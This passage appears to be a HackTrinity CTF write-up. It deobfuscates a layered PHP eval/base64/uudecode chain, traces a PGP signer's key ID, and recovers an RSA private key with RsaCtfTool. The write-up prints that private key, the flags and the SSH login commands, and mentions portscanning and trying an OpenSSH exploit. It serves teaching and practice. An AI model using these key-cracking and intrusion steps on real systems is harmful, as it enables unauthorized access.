sT0BUOE8oRzRKOUcsMlUmNEQ1VypSMSYzMylGNiNJJzxLQDMwJ0EjLCtdIi5QQVc9Ii1ENU0KOClHLVUhRTxLSSQtOTFUMkEpNiwyQSMsNi0lLDdFJTkjOVYzVyEzM0ItVy0lNVY6QjFWMFhdVCopJTYxTQpQISUxTDFVMyJBVTQwWTY7TEUmMiElJjpULTUuVjQzPDdBJT06QUMzLEk3PSRBRDpHIVU4Uy1XNTEtVjtNCkk1NTkwWUY+WkE2OFRBRTU3XVIqUD1ELFRVNDRJJVc6UiVTMyQtJjooUTYzJUlUPSlFVDQiVUQtVFw2LU0KLCU1LjhBNjRPSVY7QilTOktZVD0qNUYoSDQmOU8tNjlEXSUtVjRWPEEpJipTLTc5UiE3O08tRjtVSVc5TQ==')));
eval("eval($wowzers($jenga($pandas($wowzers($a)))));");  

I removed the function variables to see things more clearly:

$a=convert_uudecode(strrev(base64_decode('CmAKSURCKCg5JzpIXUQzV11SNVMxNzkvClpZRDZBISc5Iik3O0otNTNQTVYzTClTOU9AJCxXODc2VCwmNFNAVzRWWCQyUS02NkElRDVJPVcrVzE1OU0KWl00MDRJRjxGOTQxVTFFOjdRRDAtPSM1QU1CLDoxRjMuTSQ1VTkjNjgxVTglQUUxKylXNUswNS5EUTQ2TQpSRCYtKFlGMjpRVjQsRTU1JyFVLUExIy5SSUY7NyVTOFRBJC4vXSYtTC1DNUQ9RDMwSUcxI0ElM0s0IztNCkYpRS0oMUY8WUBFODNdJjNSVFY6VigzNk8xRzwmNVQrOVE2PEtURjtQMUc9OEVXMUdNQjVYPVQ1UTkzPk0KNEk2PjNBJzlMLSM2Uy03PTY1RTNPSDc4NiU2NTZBRDpPNEc2UEEzPjIxRTBPKVMsUyw0NE0xVzlDKVY7TQooMTcuLkFFMS9NIjRWTFYxU0gkLCZBUyxYNVQ5WDQnM1lERDJUWTQsS0E3Lio9Rjk5PVY9WTlDPkUhJS1NCjJdIjQ5OUQ0Rj1XOSg5My44STYzUik2MFUtVz1LNFM1WClDMEFBVzNWMVYwRSknPFZIND5QTEQtKT0jLU0KTFVWLTUxNDhTLEcxOTVENktBVztXOTU5LD1GMlhANTQ2KUMyOkFGMzIxNjZYSFQ9SzFFPFIwRjxQLUc4TQpZTDQ5USglNE8xRzNLSEc8L0klPlYpNTwnWVQ7TDFUM1BgIzRWTUQ7IVFEPFlJJi5UTUYxMyUzPVEpJjJNCjktNz1TXDQ9R11GMVMsRjFGISU5JklUMFEoVzVCVVYtIU0kNFMsMzhUWEQ9UlRWPU4tRjpIUVQ4UDFEO00KV0FEODBFUzEuJTUzJkFVM0g1Nyw1MUc0RlFEOjpBUzsyLUMsRFk0PkotRTEhRVc6UC1TLC05UypEJUM9TQpSNVU7LEEzO0Q1RDtELTY9VzxTPDpBNjtFJSU9Vyk0OFoxRThCLTc0U0xSNCxNRD5aLTQ+Vzk0OSJdMjZNClM9JDRRRDYxNS0jPFJZRjolQUM8TlE2OFRVVjtUREY5WElGMUU1JS1KVSQ8SF1CNSxdJjQmQVYxJUk1MU0KT0RXLVQ0NT4tNUYxMVk0MVUlJjxYPVY4SDFHOi5NND0kMVMsU0VVOTFZJCxUWTQzWDFVMktMMjpSRFctTQooNTQsOCUjPFM5VSo1TUI7Mz1FOlYsNTU3NSY0MzFWKystJj1ZNFQ8JikzLFAkRDApISMtNz01OyspVSxNCiFNQjw4IUcsT0BUOE8oRzRKOUcsMlUmNEQ1VypSMSYzMylGNiNJJzxLQDMwJ0EjLCtdIi5QQVc9Ii1ENU0KOClHLVUhRTxLSSQtOTFUMkEpNiwyQSMsNi0lLDdFJTkjOVYzVyEzM0ItVy0lNVY6QjFWMFhdVCopJTYxTQpQISUxTDFVMyJBVTQwWTY7TEUmMiElJjpULTUuVjQzPDdBJT06QUMzLEk3PSRBRDpHIVU4Uy1XNTEtVjtNCkk1NTkwWUY+WkE2OFRBRTU3XVIqUD1ELFRVNDRJJVc6UiVTMyQtJjooUTYzJUlUPSlFVDQiVUQtVFw2LU0KLCU1LjhBNjRPSVY7QilTOktZVD0qNUYoSDQmOU8tNjlEXSUtVjRWPEEpJipTLTc5UiE3O08tRjtVSVc5TQ==')));
eval("eval(base64_decode(gzuncompress(convert_uudecode(base64_decode($a)))));");  

I tried echo $a, to see what $a was before it was taken apart and evaluated, and saw that it contained the following:

gzuncompress(base64_decode("eJwNkk2bojoQhX9QL5o46MBSIIwJEMlHhcDO1rkqiQMt2Gp+/WVXtahzznPeUiocQWsscPgjHDuzLN8ZtXWq569SthaAHilmnPSXBOTlDPpEaI+OxCdbkeE7sbM0wOfCdYW0SV08R1baKDY4JkrPu6rXVCBwxp8/K08GA8+pzCZbSLdr+udPmR2vjRr/cH/2pXr+A3RKmWW40IBA012FsE9tcK/dSPeWUS6jWSn+U+Vsp1X1EH7y2i++KTxMNt0NQgYs34DuKNjthcgxpauENQFeMyU47y/EZEGhFPoLV/hpMj4UeFjxfi4omtalnr8Ejnrp3UEi1PGsY/BeFwyCzzKLS+3QsbbTzaBwtQemhZs77ucdnEdm8LoUrv1d+6M33pkyAFSjyNd23Ro8ZjLfRtU1uhOXFMQNG9PbHwnDpcLhjcnwm2vN4a33PKA7mbWr1CJFdPfFc3FoguO3usYHbqu1SFkt8jyrLAnKvP00ODloNGqRvxZOrz+NtoPR1eK9bsprd2rTkwJ8YdRNhZJ2VQX8JgLeVwoxkZEYFs3aDU7ml47I6K0yJ6preCdvOxaB2xW5+wsuAbrMjX96HgwfRFYP/R4Pez6ywgYfgJ9xk1NtJI9Lu8gEx38F0J3Gk6P+OFXN9tHobcgtmQC332oBTRy8pZu/jHVUaVaz/NUVussX3ldxSyjTy6qWGxV+gGyXvtpnm+qlY/EFrtoY26km2LoSbX9rdH6Rfl5+LXCFzPNGdV3l4oO8Htc1Wnjr84a7PGUYLSlZJnH4i2YLd9T+WrKFXEcTXX6uTKNNdZ2+aT7MBLWjTuEFfrjTAOzeTw/wiVAaYcqHN6Sx3Pc4Yv70H/g2lOkpMSjmrBdpaZNzetsW/wNOhhvH"))  

So let's unravel that by running:

base64_decode(gzuncompress(convert_uudecode(base64_decode(gzuncompress(base64_decode("eJwNkk2bojoQhX9QL5o46MBSIIwJEMlHhcDO1rkqiQMt2Gp+/WVXtahzznPeUiocQWsscPgjHDuzLN8ZtXWq569SthaAHilmnPSXBOTlDPpEaI+OxCdbkeE7sbM0wOfCdYW0SV08R1baKDY4JkrPu6rXVCBwxp8/K08GA8+pzCZbSLdr+udPmR2vjRr/cH/2pXr+A3RKmWW40IBA012FsE9tcK/dSPeWUS6jWSn+U+Vsp1X1EH7y2i++KTxMNt0NQgYs34DuKNjthcgxpauENQFeMyU47y/EZEGhFPoLV/hpMj4UeFjxfi4omtalnr8Ejnrp3UEi1PGsY/BeFwyCzzKLS+3QsbbTzaBwtQemhZs77ucdnEdm8LoUrv1d+6M33pkyAFSjyNd23Ro8ZjLfRtU1uhOXFMQNG9PbHwnDpcLhjcnwm2vN4a33PKA7mbWr1CJFdPfFc3FoguO3usYHbqu1SFkt8jyrLAnKvP00ODloNGqRvxZOrz+NtoPR1eK9bsprd2rTkwJ8YdRNhZJ2VQX8JgLeVwoxkZEYFs3aDU7ml47I6K0yJ6preCdvOxaB2xW5+wsuAbrMjX96HgwfRFYP/R4Pez6ywgYfgJ9xk1NtJI9Lu8gEx38F0J3Gk6P+OFXN9tHobcgtmQC332oBTRy8pZu/jHVUaVaz/NUVussX3ldxSyjTy6qWGxV+gGyXvtpnm+qlY/EFrtoY26km2LoSbX9rdH6Rfl5+LXCFzPNGdV3l4oO8Htc1Wnjr84a7PGUYLSlZJnH4i2YLd9T+WrKFXEcTXX6uTKNNdZ2+aT7MBLWjTuEFfrjTAOzeTw/wiVAaYcqHN6Sx3Pc4Yv70H/g2lOkpMSjmrBdpaZNzetsW/wNOhhvH"))))));  

This evaluates to:

if(isset($_REQUEST['src'])){  
    show_source(__FILE__);
    die();
}
if(isset($_REQUEST['pass']) && $_REQUEST['pass']=="\x75\x6e\x66\x75\x72\x6c\x69\x6e\x67\x61\x6c\x6d\x6f\x73\x74\x63\x6f\x6d\x70\x6c\x65\x74\x65"){  
    die("Congratulations the flag is: ".file_get_contents('/flag/flag.txt'));
}else{
    die('<html><title>UnfurlMe.php</title><body><form method="post">Enter the password:<input type="password" name="pass"/><input type="submit" value="submit"/></form><br/><a href="?src">View Source</a></body></html>');
}

We can see the password needed is \x75\x6e\x66\x75\x72\x6c\x69\x6e\x67\x61\x6c\x6d\x6f\x73\x74\x63\x6f\x6d\x70\x6c\x65\x74\x65. I pasted this string into the PHP deobfuscator from before to quickly figure out what those characters were. It returned the string unfurlingalmostcomplete.

If you paste this string into the text box original page unfurlme.hacktrinity.me, it shows you the flag: HackTrinity{Functi0nsW1th1nFunc7i0ns}.


PGP

The problem statement is as follows:

I received the attached vaguely insulting email from an anonymous sender. Can you help me track them down and exact revenge?

Flag is HackTrinity{<name of sender>}  

Attached are two files, email.txt:

Hey you. you're stupid.  

and email.txt.asc:

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iQEcBAABAgAGBQJacv0IAAoJEAXbzVnYRgZCvEgIAL39tKSA7xhj/+O47gYX9E+c  
5pmRyD+RZ5Z2cE5gsC4pQ5OtwoViFw4ANzxNBjSh6ObPRjIIMNrVjOc8MlEMqusl  
SiM7PWwzBg8wbioPmZIIR0gvpLFLOL8VCa9Zn9BlqYC/+aRlSN8OCtP2r4CQ2qN3  
UiAhXDx9sXZbCby/yrzNyRsy18eItYTehD1/aL4tt7EIrisyrtr1k6JISzGjc5ic  
/cwsSLS6esPCM7vn/Tu574hCAyTOGYoTZ41f0ljlPwyQ7Bo0qtl4oOf5aLrvJoyR
ylZQKdU0CHIDIPa5AfrSQ1bEes30wHNUiWkQUZoPnsHoXdJ/+CdCxr2W5Wvrye0=  
=SqZ8
-----END PGP SIGNATURE-----

After some Googling to figure out how PGP signatures work, I came across pretty much exactly what I needed in a security.stackexchange.com post. I can just get gpg to parse the signature file:

% gpg -vv < email.txt.asc 
gpg: armor: BEGIN PGP SIGNATURE  
gpg: armor header: Version: GnuPG v1  
:signature packet: algo 1, keyid 05DBCD59D8460642
        version 4, created 1517485320, md5len 0, sigclass 0x00
        digest algo 2, begin of digest bc 48
        hashed subpkt 2 len 4 (sig created 2018-02-01)
        subpkt 16 len 8 (issuer key ID 05DBCD59D8460642)
        data: [2048 bits]
Detached signature.  

This then gives me the keyid 05DBCD59D8460642, which I can look up:

% gpg --search-keys 05DBCD59D8460642
gpg: searching for "05DBCD59D8460642" from hkp server keys.gnupg.net  
(1)     Eve Heinrichtson <eve@heinrichtson.org>
          2048 bit RSA key D8460642, created: 2018-02-01

HackTrinity{Eve Heinrichtson} is our flag.


BadSSH

Problem statement:

Our sysadmin isn't very good - he doesn't really understand how crypto works, or how to configure OpenSSH properly.

Show him a lesson by finding the privkey.pem and logging in over SSH to retrieve the flag.

ssh -o IdentitiesOnly=yes -o IdentityFile=privkey.pem -p 8022 badssh@145.239.7.7  

This was later appended to the problem statement, after (or perhaps, because) I had already tried many approaches:

Note: You should only interact with port 8022 on this host. All other ports are out of scope.

Hint:  
The sysadmin generated his own RSA key using a custom crazy Python script (he's not a professional cryptographer, so this was probably unwise). The public part of the key is:

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDbe4wAeBPcaFdSviU1OysvpOMNfdyXZdUwSyTZaB4d4gzny1G5bAVLK5J4M2/nA5nMeh9De/jPjrJiJ6gGIz1uHOAzF2gFcXk4jEBDeFFXd4le3DMyKZ57+WD2rR/D71SCBS44mBumiYSJR7q9tZLi9CTorF+6q19BzAC41bVGJTU0HtsQ10DeoGbghLY6ypKStiXIGYDhFAu0gRvIwjDEGhqPdUWa3ddtg6ml+V5rr40qffeYP2jUxYCjNd/LaF5wUsVOL7ZrWrhOx2BgDM4emIhyyXCHAAjGxFC3yAck+JYBVz8FShXdn/S4liVXyrrsyW6ah32uH6j2yazUJLUP  
Calculate the private part of the key, and use it to login to the box over SSH port 8022.  

This problem took me way too long.

Firstly, I portscanned the target server, hoping for an open webserver or something. I tried an exploit in the version of OpenSSH (7.2p2) this server was running, but this led nowhere. I looked at the public key, took it apart into its modulus and public exponent.

I searched the modulus in FactorDB, googled parts of the key to see if they were leaked somewhere online, did all sorts of recon.

I converted the key to a more useful format early on:

-----BEGIN RSA PUBLIC KEY-----
MIIBCgKCAQEA23uMAHgT3GhXUr4lNTsrL6TjDX3cl2XVMEsk2WgeHeIM58tRuWwF  
SyuSeDNv5wOZzHofQ3v4z46yYieoBiM9bhzgMxdoBXF5OIxAQ3hRV3eJXtwzMime  
e/lg9q0fw+9UggUuOJgbpomEiUe6vbWS4vQk6KxfuqtfQcwAuNW1RiU1NB7bENdA  
3qBm4IS2OsqSkrYlyBmA4RQLtIEbyMIwxBoaj3VFmt3XbYOppflea6+NKn33mD9o  
1MWAozXfy2hecFLFTi+2a1q4TsdgYAzOHpiIcslwhwAIxsRQt8gHJPiWAVc/BUoV  
3Z/0uJYlV8q67Mlumod9rh+o9sms1CS1DwIDAQAB  
-----END RSA PUBLIC KEY-----

I tried putting this into RsaCtfTool, which does most of the legwork in checking for common vulnerabilities and flaws in RSA keys. It crashed after hitting a recursion limit trying to get a GCD, so I added the following after the imports:

import sys  
sys.setrecursionlimit(1500)  

Then it crashed for a dumber reason so I applied the fix, and tried again.

 % python RsaCtfTool.py --publickey real_rsa.key --private
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEA23uMAHgT3GhXUr4lNTsrL6TjDX3cl2XVMEsk2WgeHeIM58tR  
uWwFSyuSeDNv5wOZzHofQ3v4z46yYieoBiM9bhzgMxdoBXF5OIxAQ3hRV3eJXtwz  
Mimee/lg9q0fw+9UggUuOJgbpomEiUe6vbWS4vQk6KxfuqtfQcwAuNW1RiU1NB7b  
ENdA3qBm4IS2OsqSkrYlyBmA4RQLtIEbyMIwxBoaj3VFmt3XbYOppflea6+NKn33  
mD9o1MWAozXfy2hecFLFTi+2a1q4TsdgYAzOHpiIcslwhwAIxsRQt8gHJPiWAVc/  
BUoV3Z/0uJYlV8q67Mlumod9rh+o9sms1CS1DwIDAQABAoIBAQCVrSJjq3+33nw2  
lC9hptEjs6mXqM6HfM2vGn+tt6BaNq8gX/qCndTaV4OSb1mPzFfVJy8s4V1jhmfG  
Ik8mqF+bORv4G603kRPe6V5l5KZsJLvMshRD0DghSYbDknrILu2NoaTMuYaZwsxc  
pksGVs4t8ds9xVefQIE8qLeRVURC6ZeaQXWHlBQoNt7cWEFtcp4XnlthllWl75no  
pAvwN/GJxREaTdtUflerxCJ5JoxElvlsuJDGO2L/5xy8wowGGe9JnUe9qwxTfrGs  
0wE6Gy4IkR1ffmRxB2gzrl2qOk8eRoLJvETTIYZyyhbAc7W6vrIHSyikSgOlmfll  
3BRAijkhAoGBAO0KBBwqBk+p9ve0LCkjoKb49OySJXy9cHKr+Gc0ZMGQpuiFGIHE  
rpBP+xZghyR5yNHodkKJE9mdccv5vYJEk4Z8ejzJwyaw9ogJhZeH/+sJ3shGZYcR  
XRWgU84kS4x/YMo7Q7RoXSEZZH/t7mNgkPYXA37U1Q71T/Okgr+pPVy/AoGBAO0K  
BBwqBk+p9ve0LCkjoKb49OySJXy9cHKr+Gc0ZMGQpuiFGIHErpBP+xZghyR5yNHo  
dkKJE9mdccv5vYJEk4Z8ejzJwyaw9ogJhZeH/+sJ3shGZYcRXRWgU84kS4x/YMo7  
Q7RoXSEZZH/t7mNgkPYXA37U1Q71T/Okgr+pPKuxAoGBALfleWLQR60uU2fA5DHW  
biCcLIgMqgCoh8CvIjwPLcvuCU+DUov6puNW6ZlmsfHeeapACt97sWa2+z4gNqIF  
yd4gXEUk0r4FtH29xWLWI/mY4rnFw6aSFgFdLSdUiTgq6lB6wgAIp5eyN4H4eWWn  
2U7Sc+fF/rVoI+sFylofVnfJAoGBAM5+nz35zi2wHxmCt8XO57ENyDAe0NFuJnt/  
HJKrreqCHSUKbWL++CN3yYCg7pn0DeHu5Lbpu4UkB3JuSY0mOG48GjDCg2M9Xkb8  
JIjxTRxwKMfHq8KSecjRNrCqJbZrcOI75qtPD3I6MLbRi46/HQmE2uKufjzdr5zM  
f6p/v/7BAoGAVy75wz1UYADMSTl5VB2Ljg35l/lo+ADt1akGunSUUsiE9dg8Cwoy  
BGd5LA4wDnXx84mUeC6zd9FkiA9uqqBVUvCasCE0TvZO54bXETKI8cuQGINOR1DM  
ZKSgGDPbd8jB1ru5Rq+y4Aj46lyw2B9vDPc6E3QweWo+ea0CZcWWznA=  
-----END RSA PRIVATE KEY-----

I didn't expect that to work! But sure enough, putting that private key into private_key.priv and trying to ssh:

 % ssh -o IdentitiesOnly=yes -o IdentityFile=private_key.priv -p 8022 badssh@145.239.7.7
===========================
!Congratulations!

. You solved the challenge, here's your flag:

HackTrinity{fermat_factorisation_is_beautiful}


==========================Connection to 145.239.7.7 closed.

And HackTrinity{fermat_factorisation_is_beautiful} got me the points.

I'm guessing by the flag that the issue with the key was that it used close primes to create the key, allowing a shortcut (ie. fermat factorisation) to cracking it. But I'll have to read up on this later. Thanks for RsaCtfTool for doing that for me!